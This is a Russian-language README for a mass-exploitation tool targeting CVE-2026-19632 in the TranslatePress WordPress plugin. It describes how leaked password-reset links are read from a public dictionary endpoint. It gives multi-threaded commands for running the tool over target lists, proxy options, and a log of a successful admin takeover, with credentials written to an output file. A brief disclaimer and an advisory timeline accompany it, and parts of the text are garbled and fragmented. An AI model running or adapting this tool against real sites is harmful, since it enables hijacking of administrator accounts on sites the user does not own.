
Неаутентифицированный PoC захвата учётной записи для TranslatePress Multilingual <= 3.3.1 (WordPress)
Инструмент массового захвата учётных записей для CVE-2026-19632 — неаутентифицированного захвата учётной записи в плагине WordPress TranslatePress – Multilingual (≤ 3.3.1), вызванного раскрытием ссылки сброса пароля. Одна команда на список целей — вся цепочка выполняется автоматически, и каждый успешный захват записывается в выходной файл в момент его совершения.
Отказ от ответственности — только авторизованное использование. Этот инструмент изменяет реальные пароли учётных записей и отправляет реальные письма со сбросом пароля. Используйте его исключительно против систем, которыми вы владеете или на тестирование которых имеете явное письменное разрешение. Автор не несёт ответственности за любое неправомерное использование.
| CVE | CVE-2026-19632 |
| Продукт | TranslatePress – Multilingual (плагин WordPress, slug translatepress-multilingual), от Cozmoslabs |
| Затронуто | Все версии ≤ 3.3.1 (400 000+ активных установок) |
| Исправлено | 3.3.2 (исправление: проверка current_user_can в публичном AJAX-обработчике словаря) |
| CVSS 3.1 | 9.8 КРИТИЧЕСКИЙ — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (CNA: Wordfence) |
| CWE | CWE-200 (раскрытие конфиденциальной информации) + CWE-640 (слабый механизм восстановления пароля) |
| Воздействие | Неаутентифицированный захват учётной записи администратора |
trp_data, включая nonce get_translations. Nonce для вышедших из системы
посетителей публичны по своей природе; плагин полагается на них для безопасности.wp_mail и переводит исходящие письма на язык получателя.
Когда анонимный злоумышленник инициирует wp-login.php?action=lostpassword
для администратора, чей языковой профиль является опубликованным вторичным языком,
всё письмо со сбросом — включая URL wp-login.php?action=rp
в открытом виде с действительным ключом сброса — вставляется в
wp_trp_dictionary_<default>_<locale> синхронно внутри
запроса злоумышленника. SMTP даже не обязано работать.trp_get_translations_regular зарегистрирован
как wp_ajax_nopriv и до версии 3.3.2 проверял только публичный nonce.
Любой может перечислить словарь по string_ids и извлечь ключ.Полное техническое описание: CVE-2026-19632-REPORT.md
cve-2026-19632.pyЕдиный автономный скрипт, выполняющий полную цепочку для каждой цели из списка:
readme.txt)trp_data + проверка переключателя языков)url|username|password в выходной файл
(сброс буфера, потокобезопасно, без ожидания завершения выполнения)Встроенная надёжность:
--new-password).pip install -r requirements.txt
# полное выполнение по списку целей, 20 потоков
python cve-2026-19632.py -l targets.txt -o vuln.txt -t 20
# фиксированный пароль для каждой цели
python cve-2026-19632.py -l targets.txt -o vuln.txt -t 10 --new-password 'Pwn3d!2026'
# через прокси
python cve-2026-19632.py -l targets.txt -o vuln.txt -t 10 --proxy http://127.0.0.1:8080
| Параметр | Описание |
|---|---|
-l, --list | Файл с одним URL цели на строку (комментарии # допускаются) |
-o, --output | Файл результатов, формат url|username|password (по умолчанию vuln.txt) |
-t, --threads | Параллельные рабочие потоки (по умолчанию 10) |
--new-password | Фиксированный пароль для всех целей (по умолчанию: случайный 14-символьный для каждой цели) |
--timeout | Таймаут запроса в секундах (по умолчанию 15) |
--proxy | HTTP-прокси, например http://127.0.0.1:8080 |
--no-color | Отключить цветной вывод |
Журнал терминала для лабораторного экземпляра (WordPress 7.0.4 + TranslatePress 3.3.1,
ar по умолчанию → en_US вторичный) — значения очищены:
[00:09:06] [INFO] CVE-2026-19632 takeover tool - 3 target(s), 3 thread(s)...
[00:09:06] [SKIP] http://example.com (no TranslatePress)
[00:09:07] [INFO] http://TARGET TP found - langs: ar->en_US, nonce=a1b2c3d4e5
[00:09:09] [INFO] username candidates: ['admin', ...]
[00:09:09] [WARN] attempt 1/3 failed (stale key)
[00:09:09] [WARN] attempt 2/3 failed (stale key)
[00:09:09] [WARN] attempt 3/3 failed (stale key)
[00:09:09] [INFO] all keys stale - fresh reset trigger...
[00:09:15] [TAKEOVER] http://TARGET SUCCESS - user='admin' password='Pwn3d!2026'
[00:09:15] [INFO] done. summary: ERROR=1 | SKIP=1 | TAKEOVER=1
vuln.txt (записывается в реальном времени, в момент успеха):
http://TARGET|admin|Pwn3d!2026
Относитесь к
vuln.txtкак к конфиденциальному артефакту — он содержит действующие учётные данные и/или действительные ключи сброса. Добавьте его в.gitignore.
Не требуется: работающий почтовый сервер (URL сохраняется внутри
фильтра wp_mail, до попытки отправки).
admin-ajax.php на предмет последовательного перечисления string_ids
с публичным nonce security.| Дата | Событие |
|---|---|
| 2026-08-12 | Зарезервирован CVE-2026-19632 |
| 2026-08-13 | Выпущена TranslatePress 3.3.2 с исправлением |
| 2026-08-25/26 | Wordfence публикует бюллетень; 8 618 попыток эксплуатации заблокировано в течение 24 часов |
| 2026-08-28 | Бюллетень ThaiCERT |
momopon1415) и команда Wordfence, указаны в журнале изменений 3.3.2.MIT © 2026 ghostpel